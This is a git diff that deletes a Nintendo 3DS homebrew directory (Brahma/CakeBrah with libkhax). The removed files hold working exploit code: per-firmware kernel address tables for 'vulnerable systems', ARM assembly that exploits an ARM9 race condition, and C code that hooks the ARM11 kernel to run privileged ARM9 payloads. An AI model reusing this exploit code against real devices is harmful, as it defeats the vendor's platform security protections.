initializes Brahma - - call load_arm9_payload() - loads a payload binary from disk - - call firm_reboot() - executes a payload binary (privileged ARM9 code) - - (please check the source code for more features and options) - - ARM9 payload must consist of valid ARM9 executable code and will be - mapped to physical address 0x23F00000 during run-time. Its code should begin - with a branch instruction at offset 0 and a 'placeholder' for a u32 - variable at offset 4, which will be filled by Brahma with a backup of - the original ARM9 entry point of the FIRM header during runtime. - - Brahma is written in a way that allows developers of payload binaries - to easily return control to the 3DS' firmware by simply returning from - the main() function of the payload. - - This allows reading and altering of memory contents, such as the mapped - Nintendo firmware (including ARM9 kernel, Process9, ARM11 kernel and several - processes running on the ARM11 core), for testing purposes, without requiring - any changes on the file system level. - - Credits: - -------- - - To 3dbrew.org and all its contributors for being such a great resource - - To whomever initially found the vulnerabilities and wrote the publicly - available exploit code - - To everybody who's been working on porting this exploit and its various - "bootstrap" branches to newer firmware versions and improving its stability - (in particular yifanlu, yuriks and shinyquagsire23) - - To everybody involved in creating libctru, Ninjhax and the Homebrew Menu - -Disclaimer: -THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES, -INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS -OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, -EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT -OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING -IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY -OF SUCH DAMAGE. - - (c) 2015, patois diff --git a/ninjhax/README.md b/ninjhax/README.md deleted file mode 100644 index 5097377..0000000 --- a/ninjhax/README.md +++ /dev/null @@ -1,23 +0,0 @@ -CakeBrah -======== - -This is a fork of Brahma, that loads CakeHax payloads in the environment they expect. -This means mostly setting the framebuffer offsets and mode right. - -How to use this in your project -------------------------------- - -Look at [CakeHax](https://github.com/mid-kid/CakeHax) for this. It's pretty much the same. -No injection with dd is needed, as it loads the payload from your .dat file. -The different configuration flags are detailed below. - -### Makefile options - -Name |Default |Description -----------------|------------------------------------|----------- -dir\_out |$(CURDIR) |Where the output files should be placed (3dsx and smdh). -name |Cakes.dat |The name of the .dat file from which the payload will be loaded. -filepath | |Path in the SD card where the .dat file is located. -APP\_TITLE |Cakes |The title of the app shown in the Homebrew Menu. -APP\_DESCRIPTION|Privileged ARM11/ARM9 Code Execution|The description of the app shown in the Homebrew Menu. -APP\_AUTHOR |patois |The author of the app shown in the Homebrew Menu. diff --git a/ninjhax/include/brahma.h b/ninjhax/include/brahma.h deleted file mode 100644 index 37a77bb..0000000 --- a/ninjhax/include/brahma.h +++ /dev/null @@ -1,27 +0,0 @@ -#pragma once - -#include "exploitdata.h" - -u32 brahma_init (void); -u32 brahma_exit (void); -s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize); -s32 load_arm9_payload_from_mem (u8* data, u32 dsize); -void redirect_codeflow (u32 *dst_addr, u32 *src_addr); -s32 map_arm9_payload (void); -s32 map_arm11_payload (void); -void exploit_arm9_race_condition (void); -s32 get_exploit_data (struct exploit_data *data); -s32 firm_reboot (); - -#define load_arm9_payload(filename) load_arm9_payload_offset(filename, 0, 0) - -#define BRAHMA_NETWORK_PORT 80 - -#define ARM_JUMPOUT 0xE51FF004 // LDR PC, [PC, -#04] -#define ARM_RET 0xE12FFF1E // BX LR -#define ARM_NOP 0xE1A00000 // NOP - -extern void *arm11_start; -extern void *arm11_end; -extern void *arm9_start; -extern void *arm9_end; diff --git a/ninjhax/include/exploitdata.h b/ninjhax/include/exploitdata.h deleted file mode 100644 index ebd4360..0000000 --- a/ninjhax/include/exploitdata.h +++ /dev/null @@ -1,189 +0,0 @@ -#pragma once - -#define SYS_MODEL_NONE 0 -#define SYS_MODEL_OLD_3DS 1 -#define SYS_MODEL_NEW_3DS 2 - -#define PA_EXC_HANDLER_BASE 0x1FFF4000 -#define PA_FCRAM_BASE 0x20000000 -#define OFFS_FCRAM_MAPPED_FIRM 0x04000000 -#define OFFS_FCRAM_ARM9_PAYLOAD 0x03F00000 -#define OFFS_EXC_HANDLER_UNUSED 0xC80 -#if OFFS_FCRAM_ARM9_PAYLOAD >= OFFS_FCRAM_MAPPED_FIRM - #error ERRROR: Invalid ARM9 payload offset -#endif -#define ARM9_PAYLOAD_MAX_SIZE (OFFS_FCRAM_MAPPED_FIRM - OFFS_FCRAM_ARM9_PAYLOAD) - -/* any changes to this structure must also be applied to - the data structure following the 'arm11_globals_start' - label of arm11.s */ -struct arm11_shared_data { - u32 va_pdn_regs; - u32 va_pxi_regs; - u32 va_hook1_ret; -}; - -struct exploit_data { - - u32 firm_version; - u32 sys_model; // mask - - u32 va_patch_hook1; - u32 va_patch_hook2; - u32 va_hook1_ret; - - u32 va_fcram_base; - u32 va_exc_handler_base_W; - u32 va_exc_handler_base_X; - u32 va_kernelsetstate; - - u32 va_pdn_regs; - u32 va_pxi_regs; -}; - -// add all vulnerable systems below -static const struct exploit_data supported_systems[] = { - { - 0x022E0000, // FIRM version - SYS_MODEL_NEW_3DS, // model - 0xDFFE7A50, // VA of 1st hook for firmlaunch - 0xDFFF4994, // VA of 2nd hook for firmlaunch - 0xFFF28A58, // VA of return address from 1st hook - 0xE0000000, // VA of FCRAM - 0xDFFF4000, // VA of lower mapped exception handler base - 0xFFFF0000, // VA of upper mapped exception handler base - 0xFFF158F8, // VA of the KernelSetState syscall (upper mirror) - 0xFFFBE000, // VA PDN registers - 0xFFFC0000 // VA PXI registers - }, - { - 0x022C0600, // FIRM version - SYS_MODEL_NEW_3DS, // model - 0xDFFE7A50, // VA of 1st hook for firmlaunch - 0xDFFF4994, // VA of 2nd hook for firmlaunch - 0xFFF28A58, // VA of return address from 1st hook - 0xE0000000, // VA of FCRAM - 0xDFFF4000, // VA of lower mapped exception handler base - 0xFFFF0000, // VA of upper mapped exception handler base - 0xFFF158F8, // VA of the KernelSetState syscall (upper mirror) - 0xFFFBE000, // VA PDN registers - 0xFFFC0000 // VA PXI registers - }, - { - 0x02220000, - SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFFE4DD4, - 0xEFFF497C, - 0xFFF84DDC, - 0xF0000000, - 0xEFFF4000, - 0xFFFF0000, - 0xFFF748C4, - 0xFFFD0000, - 0xFFFD2000 - }, - { - 0x02230600, - SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFFE55BC, - 0xEFFF4978, - 0xFFF765C4, - 0xF0000000, - 0xEFFF4000, - 0xFFFF0000, - 0xFFF64B94, - 0xFFFD0000, - 0xFFFD2000 - }, - { - 0x022E0000, - SYS_MODEL_OLD_3DS, - 0xDFFE59D0, - 0xDFFF4974, - 0xFFF279D8, - 0xE0000000, - 0xDFFF4000, - 0xFFFF0000, - 0xFFF151C0, - 0xFFFC2000, - 0xFFFC4000 - }, - { - 0x022C0600, - SYS_MODEL_OLD_3DS, - 0xDFFE4F28, - 0xDFFF4974, - 0xFFF66F30, - 0xE0000000, - 0xDFFF4000, - 0xFFFF0000, - 0xFFF54BAC, - 0xFFFBE000, - 0xFFFC0000 - }, - { - 0x02280000, - SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFFE5B30, - 0xEFFF4978, - 0xFFF76B38, - 0xF0000000, - 0xEFFF4000, - 0xFFFF0000, - 0xFFF64AAC, - 0xFFFD0000, - 0xFFFD2000 - }, - { - 0x02270400, - SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFFE5B34, - 0xEFFF4978, - 0xFFF76B3C, - 0xF0000000, - 0xEFFF4000, - 0xFFFF0000, - 0xFFF64AB0, - 0xFFFD0000, - 0xFFFD2000 - }, - { - 0x02250000, - SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFFE5AE8, - 0xEFFF4978, - 0xFFF76AF0, - 0xF0000000, - 0xEFFF4000, - 0xFFFF0000, - 0xFFF64A78, - 0xFFFD0000, - 0xFFFD2000 - }, - { - 0x02260000, - SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFFE5AE8, - 0xEFFF4978, - 0xFFF76AF0, - 0xF0000000, - 0xEFFF4000, - 0xFFFF0000, - 0xFFF64A78, - 0xFFFD0000, - 0xFFFD2000 - }, - { - 0x02240000, - SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS, - 0xEFFE55B8, - 0xEFFF4978, - 0xFFF765C0, - 0xF0000000, - 0xEFFF4000, - 0xFFFF0000, - 0xFFF64B90, - 0xFFFD0000, - 0xFFFD2000 - } -}; diff --git a/ninjhax/include/hid.h b/ninjhax/include/hid.h deleted file mode 100644 index 527d22c..0000000 --- a/ninjhax/include/hid.h +++ /dev/null @@ -1,4 +0,0 @@ -#pragma once - -u32 wait_key (void); -void wait_any_key (void); diff --git a/ninjhax/include/utils.h b/ninjhax/include/utils.h deleted file mode 100644 index 3cff339..0000000 --- a/ninjhax/include/utils.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -void InvalidateEntireInstructionCache (void); -void CleanEntireDataCache (void); -void dsb(void); -void DisableInterrupts (void); -void EnableInterrupts (void); -void InvalidateEntireDataCache (void); diff --git a/ninjhax/source/arm11.s b/ninjhax/source/arm11.s deleted file mode 100644 index 0805f99..0000000 --- a/ninjhax/source/arm11.s +++ /dev/null @@ -1,173 +0,0 @@ -.arm -.align 4 -.code 32 -.text - -.global arm11_start -arm11_start: - B hook1 - B hook2 - -hook1: - STMFD SP!, {R0-R12,LR} - - MOV R0, #64 - BL delay - - MOV R0, #0 - BL pxi_send - - BL pxi_sync - - MOV R0, #0x10000 - BL pxi_send - - BL pxi_recv - BL pxi_recv - BL pxi_recv - - MOV R0, #2 - BL pdn_send - - MOV R0, #0 - BL pdn_send - - LDMFD SP!, {R0-R12,LR} - - LDR R0, var_44836 - STR R0, [R1] - LDR PC, va_hook1_ret - - var_44836: .long 0x44836 - -@ copy hijack_arm9 routine and execute -hook2: - ADR R0, hijack_arm9 - ADR R1, hijack_arm9_end - LDR R2, pa_hijack_arm9_dst - MOV R4, R2 - BL copy_mem - MOV r0, #0 - MCR p15, 0, r0, c7, c10, 0 @ Clean data cache - MCR p15, 0, r0, c7, c10, 4 @ Drain write buffer - MCR p15, 0, r0, c7, c5, 0 @ Flush instruction cache - BX R4 - -@ exploits a race condition in order -@ to take control over the arm9 core -hijack_arm9: - @ init - LDR R0, pa_arm11_code - MOV R1, #0 - STR R1, [R0] - - @ load physical addresses - LDR R10, pa_firm_header - LDR R9, pa_arm9_payload - LDR R8, pa_io_mem - - @ send pxi cmd 0x44846 - LDR R1, pa_pxi_regs - LDR R2, some_pxi_cmd - STR R2, [R1, #8] - -wait_arm9_loop: - LDRB R0, [R8] - ANDS R0, R0, #1 - BNE wait_arm9_loop - - @ overwrite orig entry point with FCRAM addr - @ this exploits the race condition bug - STR R9, [R10, #0x0C] - - LDR R0, pa_arm11_code -wait_arm11_loop: - LDR R1, [r0] - CMP R1, #0 - BEQ wait_arm11_loop - BX R1 - - pa_hijack_arm9_dst: .long 0x1FFFFC00 - pa_arm11_code: .long 0x1FFFFFF8 - pa_pxi_regs: .long 0x10163000 - some_pxi_cmd: .long 0x44846 - pa_firm_header: .long 0x24000000 - pa_arm9_payload: .long 0x23F00000 - pa_io_mem: .long 0x10140000 -hijack_arm9_end: - -copy_mem: - SUB R3, R1, R0 - MOV R1, R3,ASR#2 - CMP R1, #0 - BLE locret_FFFF0AC0 - MOVS R1, R3,LSL#29 - SUB R0, R0, #4 - SUB R1, R2, #4 - BPL loc_FFFF0AA0 - LDR R2, [R0,#4]! - STR R2, [R1,#4]! -loc_FFFF0AA0: - MOVS R2, R3,ASR#3 - BEQ locret_FFFF0AC0 -loc_FFFF0AA8: - LDR R3, [R0,#4] - SUBS R2, R2, #1 - STR R3, [R1,#4] - LDR R3, [R0,#8]! - STR R3, [R1,#8]! - BNE loc_FFFF0AA8 -locret_FFFF0AC0: - BX LR - -pdn_send: - LDR R1, va_pdn_regs - STRB R0, [R1, #0x230] - BX LR - -pxi_send: - LDR R1, va_pxi_regs -loc_1020D0: - LDRH R2, [R1,#4] - TST R2, #2 - BNE loc_1020D0 - STR R0, [R1,#8] - - MOV R0, #4 -delay: - MOV R1, #0 - MCR p15, 0, r1, c7, c10, 0 - MCR p15, 0, r1, c7, c10, 4 -loop: - SUBS R0, #1 - BGT loop - BX LR - -pxi_recv: - LDR R0, va_pxi_regs -loc_1020FC: - LDRH R1, [R0,#4] - TST R1, #0x100 - BNE loc_1020FC - LDR R0, [R0,#0xC] - BX LR - -pxi_sync: - LDR R0, va_pxi_regs - LDRB R1, [R0,#3] - ORR R1, R1, #0x40 - STRB R1, [R0,#3] - BX LR - -.global arm11_end -arm11_end: - -.global arm11_globals_start -arm11_globals_start: - - va_pdn_regs: .long 0 - va_pxi_regs: .long 0 - va_hook1_ret: .long 0 - -.global arm11_globals_end -arm11_globals_end: diff --git a/ninjhax/source/brahma.c b/ninjhax/source/brahma.c deleted file mode 100644 index 9677ce4..0000000 --- a/ninjhax/source/brahma.c +++ /dev/null @@ -1,380 +0,0 @@ -#include <3ds.h> -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "brahma.h" -#include "exploitdata.h" -#include "utils.h" -#include "libkhax/khax.h" - -static u8 *g_ext_arm9_buf; -static u32 g_ext_arm9_size = 0; -static s32 g_ext_arm9_loaded = 0; -static struct exploit_data g_expdata; -static struct arm11_shared_data g_arm11shared; -u32 frameBufferData[3]; - -/* should be the very first call. allocates heap buffer - for ARM9 payload */ -u32 brahma_init (void) { - g_ext_arm9_buf = memalign(0x1000, ARM9_PAYLOAD_MAX_SIZE); - return (g_ext_arm9_buf != 0); -} - -/* call upon exit */ -u32 brahma_exit (void) { - if (g_ext_arm9_buf) { - free(g_ext_arm9_buf); - } - return 1; -} - -/* overwrites two instructions (8 bytes in total) at src_addr - with code that redirects execution to dst_addr */ -void redirect_codeflow (u32 *dst_addr, u32 *src_addr) { - *(src_addr + 1) = (u32)dst_addr; - *src_addr = ARM_JUMPOUT; -} - -/* fills exploit_data structure with information that is specific - to 3DS model and firmware version - returns: 0 on failure, 1 on success */ -s32 get_exploit_data (struct exploit_data *data) { - u32 fversion = 0; - u8 isN3DS = 0; - u32 i; - s32 result = 0; - u32 sysmodel = SYS_MODEL_NONE; - - if(!data) - return result; - - fversion = osGetFirmVersion(); - APT_CheckNew3DS(&isN3DS); - sysmodel = isN3DS ? SYS_MODEL_NEW_3DS : SYS_MODEL_OLD_3DS; - - /* copy platform and firmware dependent data */ - for(i = 0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) { - if (supported_systems[i].firm_version == fversion && - supported_systems[i].sys_model & sysmodel) { - memcpy(data, &supported_systems[i], sizeof(struct exploit_data)); - result = 1; - break; - } - } - return result; -} - -/* get system dependent data and set up ARM11 structures */ -s32 setup_exploit_data (void) { - s32 result = 0; - - if (get_exploit_data(&g_expdata)) { - /* copy data required by code running in ARM11 svc mode */ - g_arm11shared.va_hook1_ret = g_expdata.va_hook1_ret; - g_arm11shared.va_pdn_regs = g_expdata.va_pdn_regs; - g_arm11shared.va_pxi_regs = g_expdata.va_pxi_regs; - result = 1; - } - return result; -} - -/* TODO: network code might be moved somewhere else */ -s32 recv_arm9_payload (void) { - s32 sockfd; - struct sockaddr_in sa; - u32 kDown, old_kDown; - s32 clientfd; - struct sockaddr_in client_addr; - u32 addrlen = sizeof(client_addr); - s32 sflags = 0; - - if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { - printf("[!] Error: socket()\n"); - return 0; - } - - bzero(&sa, sizeof(sa)); - sa.sin_family = AF_INET; - sa.sin_port = htons(BRAHMA_NETWORK_PORT); - sa.sin_addr.s_addr = gethostid(); - - if (bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) { - printf("[!] Error: bind()\n"); - close(sockfd); - return 0; - } - - if (listen(sockfd, 1) != 0) { - printf("[!] Error: listen()\n"); - close(sockfd); - return 0; - } - - printf("[x] IP %s:%d\n", inet_ntoa(sa.sin_addr), BRAHMA_NETWORK_PORT); - - g_ext_arm9_size = 0; - g_ext_arm9_loaded = 0; - - sflags = fcntl(sockfd, F_GETFL); - if (sflags == -1) { - printf("[!] Error: fcntl() (1)\n"); - close(sockfd); - } - fcntl(sockfd, F_SETFL, sflags | O_NONBLOCK); - - hidScanInput(); - old_kDown = hidKeysDown(); - while (1) { - hidScanInput(); - kDown = hidKeysDown(); - if (kDown != old_kDown) { - printf("[!] Aborted\n"); - close(sockfd); - return 0; - } - - clientfd = accept(sockfd, (struct sockaddr*)&client_addr, &addrlen); - svcSleepThread(100000000); - if (clientfd > 0) - break; - } - - printf("[x] Connection from %s:%d\n\n", inet_ntoa(client_addr.sin_addr), - ntohs(client_addr.sin_port)); - - s32 recvd; - u32 total = 0; - s32 overflow = 0; - while ((recvd = recv(clientfd, g_ext_arm9_buf + total, - ARM9_PAYLOAD_MAX_SIZE - total, 0)) != 0) { - if (recvd != -1) { - total += recvd; - printf("."); - } - if (total >= ARM9_PAYLOAD_MAX_SIZE) { - overflow = 1; - printf("[!] Error: invalid payload size\n"); - break; - } - } - - fcntl(sockfd, F_SETFL, sflags & ~O_NONBLOCK); - - printf("\n\n[x] Received %u bytes in total\n", (unsigned int)total); - g_ext_arm9_size = overflow ? 0 : total; - g_ext_arm9_loaded = (g_ext_arm9_size != 0); - - close(clientfd); - close(sockfd); - - return g_ext_arm9_loaded; -} - -/* reads ARM9 payload from a given path. - filename: full path of payload - offset: offset of the payload in the file - max_psize: the maximum size of the payload that should be loaded (if 0, ARM9_MAX_PAYLOAD_SIZE. Should be smaller than ARM9_MAX_PAYLOAD_SIZE) - returns: 0 on failure, 1 on success */ -s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize) { - s32 result = 0; - u32 fsize = 0; - u32 psize = 0; - - if (max_psize == 0 || max_psize > ARM9_PAYLOAD_MAX_SIZE) - max_psize = ARM9_PAYLOAD_MAX_SIZE; - - if (!filename) - return result; - - FILE *f = fopen(filename, "rb"); - if (f) { - fseek(f , 0, SEEK_END); - fsize = ftell(f); - - if (offset < fsize) { - psize = fsize - offset; - if (psize > max_psize) - psize = max_psize; - - g_ext_arm9_size = psize; - - fseek(f, offset, SEEK_SET); - if (psize >= 8) { - u32 bytes_read = fread(g_ext_arm9_buf, 1, psize, f); - result = (g_ext_arm9_loaded = (bytes_read == psize)); - } - } - fclose(f); - } - return result; -} - -/* reads ARM9 payload from memory. - data: array of u8 containing the payload - dsize: size of the data array - returns: 0 on failure, 1 on success */ -s32 load_arm9_payload_from_mem (u8* data, u32 dsize) { - s32 result = 0; - - if ((data != NULL) && (dsize >= 8) && (dsize <= ARM9_PAYLOAD_MAX_SIZE)) { - g_ext_arm9_size = dsize; - memcpy(g_ext_arm9_buf, data, dsize); - result = g_ext_arm9_loaded = 1; - } - - return result; -} - -/* copies ARM9 payload to FCRAM - - before overwriting it in memory, Brahma creates a backup copy of - the mapped firm binary's ARM9 entry point. The copy will be stored - into offset 4 of the ARM9 payload during run-time. - This allows the ARM9 payload to resume booting the Nintendo firmware - code. - Thus, the format of ARM9 payload written for Brahma is the following: - - a branch instruction at offset 0 and - - a placeholder (u32) at offset 4 (=ARM9 entrypoint) */ -s32 map_arm9_payload (void) { - void *src; - volatile void *dst; - - u32 size = 0; - s32 result = 0; - - dst = (void *)(g_expdata.va_fcram_base + OFFS_FCRAM_ARM9_PAYLOAD); - - if (!g_ext_arm9_loaded) { - return 0; - } - else { - // external ARM9 payload - src = g_ext_arm9_buf; - size = g_ext_arm9_size; - } - - if (size <= ARM9_PAYLOAD_MAX_SIZE) { - memcpy((void *)dst, src, size); - result = 1; - } - - return result; -} - -s32 map_arm11_payload (void) { - void *src; - volatile void *dst; - u32 size = 0; - u32 offs; - s32 result_a = 0; - s32 result_b = 0; - - src = &arm11_start; - dst = (void *)(g_expdata.va_exc_handler_base_W + OFFS_EXC_HANDLER_UNUSED); - size = (u8 *)&arm11_end - (u8 *)&arm11_start; - - // TODO: sanitize 'size' - if (size) { - memcpy((void *)dst, src, size); - result_a = 1; - } - - offs = size; - src = &g_arm11shared; - size = sizeof(g_arm11shared); - - dst = (u8 *)(g_expdata.va_exc_handler_base_W + - OFFS_EXC_HANDLER_UNUSED + offs); - - // TODO sanitize 'size' - if (result_a && size) { - memcpy((void *)dst, src, size); - result_b = 1; - } - - return result_a && result_b; -} - -void exploit_arm9_race_condition (void) { - - s32 (* const _KernelSetState)(u32, u32, u32, u32) = - (void *)g_expdata.va_kernelsetstate; - - asm volatile ("clrex"); - - /* copy ARM11 payload and console specific data */ - if (map_arm11_payload() && - /* copy ARM9 payload to FCRAM */ - map_arm9_payload()) { - - /* patch ARM11 kernel to force it to execute - our code (hook1 and hook2) as soon as a - "firmlaunch" is triggered */ - redirect_codeflow((u32 *)(g_expdata.va_exc_handler_base_X + - OFFS_EXC_HANDLER_UNUSED), - (u32 *)g_expdata.va_patch_hook1); - - redirect_codeflow((u32 *)(PA_EXC_HANDLER_BASE + - OFFS_EXC_HANDLER_UNUSED + 4), - (u32 *)g_expdata.va_patch_hook2); - - CleanEntireDataCache(); - dsb(); - InvalidateEntireInstructionCache(); - - // trigger ARM9 code execution through "firmlaunch" - _KernelSetState(0, 0, 2, 0); - // prev call shouldn't ever return - } - return; -} - -/* restore svcCreateThread code (not really required, - but just to be on the safe side) */ -s32 priv_firm_reboot (void) { - __asm__ volatile ("cpsid aif"); - - // Save the framebuffers for arm9, - u32 *save = (u32 *)(g_expdata.va_fcram_base + 0x3FFFE00); - memcpy(save, frameBufferData, sizeof(u32) * sizeof(frameBufferData)); - - exploit_arm9_race_condition(); - - return 0; -} - -/* perform firmlaunch. load ARM9 payload before calling this - function. otherwise, calling this function simply reboots - the handheld */ -s32 firm_reboot (void) { - s32 fail_stage = 0; - - // Make sure gfx is initialized - gfxInitDefault(); - - // Save the framebuffers for arm11. - frameBufferData[0] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_LEFT, NULL, NULL) + 0xC000000; - frameBufferData[1] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_RIGHT, NULL, NULL) + 0xC000000; - frameBufferData[2] = (u32)gfxGetFramebuffer(GFX_BOTTOM, 0, NULL, NULL) + 0xC000000; - gfxSwapBuffers(); - - fail_stage++; /* platform or firmware not supported, ARM11 exploit failure */ - if (setup_exploit_data()) { - fail_stage++; /* failure while trying to corrupt svcCreateThread() */ - if (khaxInit() == 0) { - fail_stage++; /* Firmlaunch failure, ARM9 exploit failure*/ - svcBackdoor(priv_firm_reboot); - } - } - - /* we do not intend to return ... */ - return fail_stage; -} diff --git a/ninjhax/source/hid.c b/ninjhax/source/hid.c deleted file mode 100644 index d9669a9..0000000 --- a/ninjhax/source/hid.c +++ /dev/null @@ -1,27 +0,0 @@ -#include <3ds.h> -#include - -/* loop until key is pressed */ -void wait_key (void) { - hidScanInput(); - u32 old_kDown, kDown; - old_kDown = hidKeysDown(); - - while (aptMainLoop()) { - gspWaitForVBlank(); - - hidScanInput(); - kDown = hidKeysDown(); - if (kDown != old_kDown) - break; - - gfxFlushBuffers(); - gfxSwapBuffers(); - } -} - -/* convenience function */ -void wait_any_key (void) { - printf("\n\nPress key to continue\n"); - wait_key(); -} diff --git a/ninjhax/source/libkhax/LICENSE b/ninjhax/source/libkhax/LICENSE deleted file mode 100644 index 1456b22..0000000 --- a/ninjhax/source/libkhax/LICENSE +++ /dev/null @@ -1,22 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2015 Myriachan - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. - diff --git a/ninjhax/source/libkhax/demo/Makefile b/ninjhax/source/libkhax/demo/Makefile deleted file mode 100644 index 79baef4..0000000 --- a/ninjhax/source/libkhax/demo/Makefile +++ /dev/null @@ -1,177 +0,0 @@ -#--------------------------------------------------------------------------------- -.SUFFIXES: -#--------------------------------------------------------------------------------- - -ifeq ($(strip $(DEVKITARM)),) -$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") -endif - -TOPDIR ?= $(CURDIR) -include $(DEVKITARM)/3ds_rules - -#--------------------------------------------------------------------------------- -# TARGET is the name of the output -# BUILD is the directory where object files & intermediate files will be placed -# SOURCES is a list of directories containing source code -# DATA is a list of directories containing data files -# INCLUDES is a list of directories containing header files -# -# NO_SMDH: if set to anything, no SMDH file is generated. -# APP_TITLE is the name of the app stored in the SMDH file (Optional) -# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional) -# APP_AUTHOR is the author of the app stored in the SMDH file (Optional) -# ICON is the filename of the icon (.png), relative to the project folder. -# If not set, it attempts to use one of the following (in this order): -# - .png -# - icon.png -# - /default_icon.png -#--------------------------------------------------------------------------------- -TARGET := $(notdir $(CURDIR)) -BUILD := build -SOURCES := . ../ -DATA := data -INCLUDES := include -APP_TITLE := khax -APP_DESCRIPTION := ARM11 KernelHax -APP_AUTHOR := Myria -ICON := logo.png -NO_SMDH := 1 - -#--------------------------------------------------------------------------------- -# options for code generation -#--------------------------------------------------------------------------------- -ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard - -CFLAGS := -g -Wall -O3 -mword-relocations \ - -fomit-frame-pointer -ffast-math \ - $(ARCH) - -CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DKHAX_DEBUG - -CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 - -ASFLAGS := -g $(ARCH) -LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) - -LIBS := -lctru -lm - -#--------------------------------------------------------------------------------- -# list of directories containing libraries, this must be the top level containing -# include and lib -#--------------------------------------------------------------------------------- -LIBDIRS := $(CTRULIB) - - -#--------------------------------------------------------------------------------- -# no real need to edit anything past this point unless you need to add additional -# rules for different file extensions -#--------------------------------------------------------------------------------- -ifneq ($(BUILD),$(notdir $(CURDIR))) -#--------------------------------------------------------------------------------- - -export OUTPUT := $(CURDIR)/$(TARGET) -export TOPDIR := $(CURDIR) - -export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ - $(foreach dir,$(DATA),$(CURDIR)/$(dir)) - -export DEPSDIR := $(CURDIR)/$(BUILD) - -CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) -CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) -SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) -BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) - -#--------------------------------------------------------------------------------- -# use CXX for linking C++ projects, CC for standard C -#--------------------------------------------------------------------------------- -ifeq ($(strip $(CPPFILES)),) -#--------------------------------------------------------------------------------- - export LD := $(CC) -#--------------------------------------------------------------------------------- -else -#--------------------------------------------------------------------------------- - export LD := $(CXX) -#--------------------------------------------------------------------------------- -endif -#--------------------------------------------------------------------------------- - -export OFILES := $(addsuffix .o,$(BINFILES)) \ - $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) - -export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ - $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ - -I$(CURDIR)/$(BUILD) - -export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) - -ifeq ($(strip $(ICON)),) - icons := $(wildcard *.png) - ifneq (,$(findstring $(TARGET).png,$(icons))) - export APP_ICON := $(TOPDIR)/$(TARGET).png - else - ifneq (,$(findstring icon.png,$(icons))) - export APP_ICON := $(TOPDIR)/icon.png - endif - endif -else - export APP_ICON := $(TOPDIR)/$(ICON) -endif - -.PHONY: $(BUILD) clean all - -#--------------------------------------------------------------------------------- -all: $(BUILD) - -$(BUILD): - @echo $(SFILES) - @[ -d $@ ] || mkdir -p $@ - @make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile - -#--------------------------------------------------------------------------------- -clean: - @echo clean ... - @rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf - - -#--------------------------------------------------------------------------------- -else - -DEPENDS := $(OFILES:.o=.d) - -#--------------------------------------------------------------------------------- -# main targets 